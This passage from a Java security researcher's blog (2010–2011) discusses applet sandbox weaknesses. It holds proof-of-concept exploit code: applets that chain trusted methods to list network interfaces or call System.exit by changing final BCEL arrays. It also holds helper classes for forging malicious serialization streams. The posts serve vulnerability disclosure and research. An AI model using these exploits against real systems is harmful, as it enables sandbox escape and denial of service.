CLASS="kw">new</SPAN><SPAN STYLE="bl"> Vector();</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">try</SPAN><SPAN STYLE="bl"> {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN STYLE="bl">Enumeration en = NetworkInterface.getNetworkInterfaces();</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="kw">while</SPAN><SPAN STYLE="bl"> (en.hasMoreElements()) {</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN STYLE="bl">interfaceList.add(en.nextElement());</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN STYLE="bl">} </SPAN><SPAN CLASS="kw">catch</SPAN><SPAN STYLE="bl"> (Exception e ) {</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN STYLE="bl">e.printStackTrace();</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN STYLE="bl">JList jlist = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> JList(interfaceList);</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN STYLE="bl">jlist.setCellRenderer(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> DefaultListCellRenderer() {</SPAN><br /><SPAN CLASS="nb">024</SPAN> <br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> setText(String text) {</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN STYLE="bl">System.out.println(</SPAN><SPAN CLASS="st">"::"</SPAN><SPAN STYLE="bl"> + text);</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="kw">super</SPAN><SPAN STYLE="bl">.setText(text);</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN STYLE="bl">});</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN STYLE="bl">.add(jlist);</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN STYLE="bl">}</SPAN><br /></code></div><br /><br />It should vomit something like this on the Java console (System.out)<br /><br />Linux:<br /><br />::<br />::name:eth1 (eth1) index: 3 addresses:<br />/fe80:0:0:0:212:34ff:fe56:789a%3;<br />/172.21.0.108;<br /><br />::name:lo (lo) index: 1 addresses:<br />/0:0:0:0:0:0:0:1%1;<br />/127.0.0.1;<br /><br />...<br /><br />Windows:<br /><br />::<br />::name:lo (MS TCP Loopback interface) index: 1 addresses:<br />/127.0.0.1;<br /><br />::name:eth0 (AMD PCNET Family PCI Ethernet Adapter - Miniporta do agendador de pacotes) index: 65539 addresses:<br />/172.21.0.110;<br /><br />...Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-61059235263921808422011-01-30T21:00:00.000-08:002011-01-30T21:30:00.573-08:00Trusted Method Chaining to a System.exit<style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style>More details on the <a href="http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html">chaining</a> instance I mentioned in my talk. This one is not a remote code execution vulnerability, it simply about calling System.exit from an applet (which shouldn't be allowed, but doesn't really do anything interesting). It might be remotely possible that this could be used for a DoS in some marginal SecurityManager scenario.<br /><br />The idea is to create a chain from an object's toString() method to com.sun.org.apache.bcel.internal.classfile.Utility.codeToString(), which has this confusing switch statement:<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi_BIxJz5ILdbxjoDcTKwYeJjXd6TMvBEj1fcQ4vVcEitvv0Y9hl_lOJljtogzJVlnKVnfTh86hEKScd4pYbZiMMSzrOcOAcSjmwKbxYzy1y0c6ockJ0B_XvpOGr6b6kb_kRCnFSjSE6w/s1600/snipper.png"><img style="cursor: pointer; width: 320px; height: 136px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi_BIxJz5ILdbxjoDcTKwYeJjXd6TMvBEj1fcQ4vVcEitvv0Y9hl_lOJljtogzJVlnKVnfTh86hEKScd4pYbZiMMSzrOcOAcSjmwKbxYzy1y0c6ockJ0B_XvpOGr6b6kb_kRCnFSjSE6w/s320/snipper.png" alt="" id="BLOGGER_PHOTO_ID_5565953697238312946" border="0" /></a><br /><br />That logic relies on a bunch of final arrays from a class named Constant. In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls System.exit. Now all that remains is getting trusted code to call the above piece of code. The chain to do that is as follows:<br /><br />-Have the GUI draw an instance of com.sun.org.apache.bcel.internal.classfile.Code, calling the toString() method of the object<br /><br />-The toString() method calls Utility.codeToString()<br /><br />-Utility.codeToString() has the above piece of code<br /><br />The code to do that:<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN STYLE="bl"> ex6.chaining.systemexit;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> java.applet.Applet;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> javax.swing.JList;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.org.apache.bcel.internal.Constants;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.org.apache.bcel.internal.classfile.Attribute;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.org.apache.bcel.internal.classfile.Code;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.org.apache.bcel.internal.classfile.CodeException;</SPAN><br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.org.apache.bcel.internal.classfile.Constant;</SPAN><br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN STYLE="bl"> com.sun.org.apache.bcel.internal.classfile.ConstantPool;</SPAN><br /><SPAN CLASS="nb">013</SPAN> <br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN STYLE="bl"> Example </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN STYLE="bl"> Applet {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN STYLE="bl"> start() {</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="cm">// modify the final array elements</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN STYLE="bl">Constants.NO_OF_OPERANDS[0] = 1;</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN STYLE="bl">Constants.TYPE_OF_OPERANDS[0] = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">short</SPAN><SPAN STYLE="bl">[1];</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="kw">byte</SPAN><SPAN STYLE="bl">[] codebytes = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> </SPAN><SPAN CLASS="kw">byte</SPAN><SPAN STYLE="bl">[] {0, 0, 0};</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN STYLE="bl">Code code = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> Code(1, 1, 0, 0, codebytes, </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> CodeException[0], </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> Attribute[0], </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> ConstantPool(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> Constant[0]));</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN STYLE="bl">JList list = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> JList(</SPAN><SPAN CLASS="kw">new</SPAN><SPAN STYLE="bl"> Object[] {code});</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN STYLE="bl">.add(list);</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN STYLE="bl">}</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN STYLE="bl">}</SPAN><br /></code></div>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-27621577091314809322011-01-19T14:28:00.000-08:002011-01-19T14:49:44.562-08:00Hazards of DukeI did a talk on Java Sandbox (in)security at the end of October last year, at the <a href="http://t2.fi/conference/">t2 security conference</a>.<br /><br />Here are the slides for that talk: <a href="https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=18JG-rcMQxOEW9SSqYZjLWjFy0mYAFXb2VNXmo0xaXh2wrjV6oiixPx_sCZiH&hl=en">Hazards of Duke / Java Sandbox (in)security</a><br /><br />For the readers of this blog, there shouldn't be too many new things. There <span style="font-weight: bold;">are</span>, however some new (in the sense that they haven't been fixed and I haven't discussed them on the blog) vulnerabilities discussed:<br /><br /><ul><li>A chaining instance that calls System.exit() and kills the virtual machine.</li></ul><ul><li>A chaining instance that lists all network interfaces (IP addresses, etc).</li></ul><ul><li>A programmatic GUI manipulation attack that allows renaming and moving files using the JFileChooser class. This one would be severe enough for me to pass on to ZDI, but it's ineligible, because I already informed Sun Microsystems about it in 2008. There are some clues in the slides, but I demoed the issue at my talk and I can give a practical example here, too.</li></ul>Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-52648516393473080662010-10-12T21:29:00.000-07:002010-10-12T21:53:06.336-07:00Java 6 Update 22 is outQuick post on Java 6 Update 22 which was released on October 12th.<br /><br />None of my vulnerabilities awaiting to be fixed on the Coordinated Vulnerability Disclosure front were actually fixed in this release, but a quick binary compare of releases 21 and 22 reveals that some of the stuff I've covered on the blog were addressed.<br /><br />The <a href="http://slightlyrandombrokenthoughts.blogspot.com/2009/10/comsuncorbaseimplorbutilobjectutility.html">Corba ObjectUtility problems</a> I discussed were fixed.<br /><br />And several of the <a href="http://slightlyrandombrokenthoughts.blogspot.com/2010/07/why-complexpowerful-is-bad-combination.html">serialization issues</a> were addressed. It looks like they created a cute little mechanism for preventing external calls to defaultReadObject/defaultWriteObject. And the problem of repeated fields also seems to be addressed. The early reference stuff can't really be fixed, because it is a feature. And that means you can still create an Integer object that has 0 as its value and then later at an arbitrary moment changes it's value to something else.Sami Koivuhttp://www.blogger.com/profile/14293649159254807206noreply@blogger.com0tag:blogger.com,1999:blog-7283793710804138254.post-28800028827103451442010-08-08T23:03:00.000-07:002010-08-08T23:04:27.529-07:00Breaking Defensive Serialization<style type="text/css">.nb { color: rgb(128, 128, 128); }.bl { color: rgb(0, 0, 0); }.kw { color: rgb(127, 0, 85); font-weight: bold; }.st { color: #2a00ff; }.cm { color: #3f7f5f; }</style>(This post is too long and not very high quality. But I said I'd show code, so there. Now I want to take a break from serialization.)<br /><br />So, the last post was very theoretical, describing how to break many of the defensive serialization patterns suggested by publications and guides, but showing no actual code on how to do it. This post aims to remedy that.<br /><br />In order to do that, I need an efficient and clear way to include the serial data which is at the heart of those pieces of code. I've been dealing with serial data in a lot of different ways over the years, ranging from using a hex editor to edit the binary data stored in a file, using an unpublished version of reJ with serial data manipulation capabilities, inline byte arrays with comments, serializing stand-in classes and doing string substitution in the binary data.<br /><br />Any of those work well when you're creating proof of vulnerabilities once per month, but none of them are very much fun to work with when you have a half a dozen examples you want to show. Also, they don't translate very well into a blog post.<br /><br />So I decided on an "annotated" Object array, which contains Bytes, Shorts, Integers, Longs, Strings and my own Repeat objects. The object array gets processed, writing the values into a byte array, using the corresponding writeXXX methods of DataOutputStream. And the Repeat is used to repeat a set of data n times.<br /><br />So to start off, here are the couple of helper classes, Converter and Repeat, that aid in turning a somewhat legible Object array into the binary serial data. And also the EvilSplitStream which aids in dynamically altering the InputStream which feeds the deserialization.<br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> util;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> Repeat {</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> count;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> Object[] data;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="bl">Repeat(</SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> count, Object[] data) {</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.count = count;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">this</SPAN><SPAN CLASS="bl">.data = data;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">011</SPAN> <br /><SPAN CLASS="nb">012</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> Repeat me(</SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> count, Object ... data) {</SPAN><br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> Repeat(count, data);</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">015</SPAN> <br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> getCount() {</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> count;</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">019</SPAN> <br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> Object[] getData() {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> data;</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> util;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.BufferedInputStream;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ByteArrayInputStream;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ByteArrayOutputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.DataOutputStream;</SPAN><br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.InputStream;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.ObjectInputStream;</SPAN><br /><SPAN CLASS="nb">010</SPAN> <br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> Converter {</SPAN><br /><SPAN CLASS="nb">012</SPAN> <br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> ObjectInputStream convert(Object[] objs) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="bl">ObjectInputStream ois = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ObjectInputStream(getStream(objs));</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> ois;</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">017</SPAN> <br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> InputStream getStream(Object[] objs) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">019</SPAN> <SPAN CLASS="bl">ByteArrayOutputStream baos = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ByteArrayOutputStream();</SPAN><br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="bl">DataOutputStream dos = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> DataOutputStream(baos);</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="kw">for</SPAN><SPAN CLASS="bl"> (Object obj : objs) {</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="bl">treatObject(dos, obj);</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">024</SPAN> <br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">ByteArrayInputStream bais = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> ByteArrayInputStream(baos.toByteArray());</SPAN><br /><SPAN CLASS="nb">026</SPAN> <SPAN CLASS="bl">BufferedInputStream bis = </SPAN><SPAN CLASS="kw">new</SPAN><SPAN CLASS="bl"> BufferedInputStream(bais);</SPAN><br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> bis;</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">029</SPAN> <br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="kw">private</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">static</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">void</SPAN><SPAN CLASS="bl"> treatObject(DataOutputStream dos, Object obj)</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj </SPAN><SPAN CLASS="kw">instanceof</SPAN><SPAN CLASS="bl"> Byte) {</SPAN><br /><SPAN CLASS="nb">033</SPAN> <SPAN CLASS="bl">dos.writeByte((Byte) obj);</SPAN><br /><SPAN CLASS="nb">034</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj </SPAN><SPAN CLASS="kw">instanceof</SPAN><SPAN CLASS="bl"> Short) {</SPAN><br /><SPAN CLASS="nb">035</SPAN> <SPAN CLASS="bl">dos.writeShort((Short) obj);</SPAN><br /><SPAN CLASS="nb">036</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj </SPAN><SPAN CLASS="kw">instanceof</SPAN><SPAN CLASS="bl"> Integer) {</SPAN><br /><SPAN CLASS="nb">037</SPAN> <SPAN CLASS="bl">dos.writeInt((Integer) obj);</SPAN><br /><SPAN CLASS="nb">038</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj </SPAN><SPAN CLASS="kw">instanceof</SPAN><SPAN CLASS="bl"> Long) {</SPAN><br /><SPAN CLASS="nb">039</SPAN> <SPAN CLASS="bl">dos.writeLong((Long) obj);</SPAN><br /><SPAN CLASS="nb">040</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj </SPAN><SPAN CLASS="kw">instanceof</SPAN><SPAN CLASS="bl"> String) {</SPAN><br /><SPAN CLASS="nb">041</SPAN> <SPAN CLASS="bl">String str = (String) obj;</SPAN><br /><SPAN CLASS="nb">042</SPAN> <SPAN CLASS="bl">dos.writeUTF(str);</SPAN><br /><SPAN CLASS="nb">043</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (obj </SPAN><SPAN CLASS="kw">instanceof</SPAN><SPAN CLASS="bl"> Repeat) {</SPAN><br /><SPAN CLASS="nb">044</SPAN> <SPAN CLASS="bl">Repeat r = (Repeat) obj;</SPAN><br /><SPAN CLASS="nb">045</SPAN> <SPAN CLASS="kw">for</SPAN><SPAN CLASS="bl"> (</SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> i = 0; i < r.getCount(); i++) {</SPAN><br /><SPAN CLASS="nb">046</SPAN> <SPAN CLASS="kw">for</SPAN><SPAN CLASS="bl"> (Object o2 : r.getData()) {</SPAN><br /><SPAN CLASS="nb">047</SPAN> <SPAN CLASS="bl">treatObject(dos, o2);</SPAN><br /><SPAN CLASS="nb">048</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">049</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">050</SPAN> <SPAN CLASS="bl">} </SPAN><SPAN CLASS="kw">else</SPAN><SPAN CLASS="bl"> {</SPAN><br /><SPAN CLASS="nb">051</SPAN> <SPAN CLASS="bl">System.out.println(</SPAN><SPAN CLASS="st">"strange type in data array: "</SPAN><SPAN CLASS="bl"> + obj.getClass());</SPAN><br /><SPAN CLASS="nb">052</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">053</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">054</SPAN> <br /><SPAN CLASS="nb">055</SPAN> <SPAN CLASS="bl">}</SPAN><br /></code></div><br /><br /><div style="overflow: scroll;"><code><SPAN CLASS="nb">001</SPAN> <SPAN CLASS="kw">package</SPAN><SPAN CLASS="bl"> util;</SPAN><br /><SPAN CLASS="nb">002</SPAN> <br /><SPAN CLASS="nb">003</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.BufferedInputStream;</SPAN><br /><SPAN CLASS="nb">004</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.IOException;</SPAN><br /><SPAN CLASS="nb">005</SPAN> <SPAN CLASS="kw">import</SPAN><SPAN CLASS="bl"> java.io.InputStream;</SPAN><br /><SPAN CLASS="nb">006</SPAN> <br /><SPAN CLASS="nb">007</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">class</SPAN><SPAN CLASS="bl"> EvilSplitStream </SPAN><SPAN CLASS="kw">extends</SPAN><SPAN CLASS="bl"> BufferedInputStream {</SPAN><br /><SPAN CLASS="nb">008</SPAN> <SPAN CLASS="bl">InputStream alternate = </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">;</SPAN><br /><SPAN CLASS="nb">009</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> EvilSplitStream(InputStream is) {</SPAN><br /><SPAN CLASS="nb">010</SPAN> <SPAN CLASS="kw">super</SPAN><SPAN CLASS="bl">(is);</SPAN><br /><SPAN CLASS="nb">011</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">012</SPAN> <br /><SPAN CLASS="nb">013</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">synchronized</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> read() </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">014</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (alternate != </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">) {</SPAN><br /><SPAN CLASS="nb">015</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> alternate.read();</SPAN><br /><SPAN CLASS="nb">016</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">017</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">super</SPAN><SPAN CLASS="bl">.read();</SPAN><br /><SPAN CLASS="nb">018</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">019</SPAN> <br /><SPAN CLASS="nb">020</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> read(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">[] b) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">021</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (alternate != </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">) {</SPAN><br /><SPAN CLASS="nb">022</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> alternate.read(b);</SPAN><br /><SPAN CLASS="nb">023</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">024</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">super</SPAN><SPAN CLASS="bl">.read(b);</SPAN><br /><SPAN CLASS="nb">025</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">026</SPAN> <br /><SPAN CLASS="nb">027</SPAN> <SPAN CLASS="kw">public</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">synchronized</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> read(</SPAN><SPAN CLASS="kw">byte</SPAN><SPAN CLASS="bl">[] b, </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> off, </SPAN><SPAN CLASS="kw">int</SPAN><SPAN CLASS="bl"> len) </SPAN><SPAN CLASS="kw">throws</SPAN><SPAN CLASS="bl"> IOException {</SPAN><br /><SPAN CLASS="nb">028</SPAN> <SPAN CLASS="kw">if</SPAN><SPAN CLASS="bl"> (alternate != </SPAN><SPAN CLASS="kw">null</SPAN><SPAN CLASS="bl">) {</SPAN><br /><SPAN CLASS="nb">029</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> alternate.read(b, off, len);</SPAN><br /><SPAN CLASS="nb">030</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN CLASS="nb">031</SPAN> <SPAN CLASS="kw">return</SPAN><SPAN CLASS="bl"> </SPAN><SPAN CLASS="kw">super</SPAN><SPAN CLASS="bl">.read(b, off, len);</SPAN><br /><SPAN CLASS="nb">032</SPAN> <SPAN CLASS="bl">}</SPAN><br /><SPAN 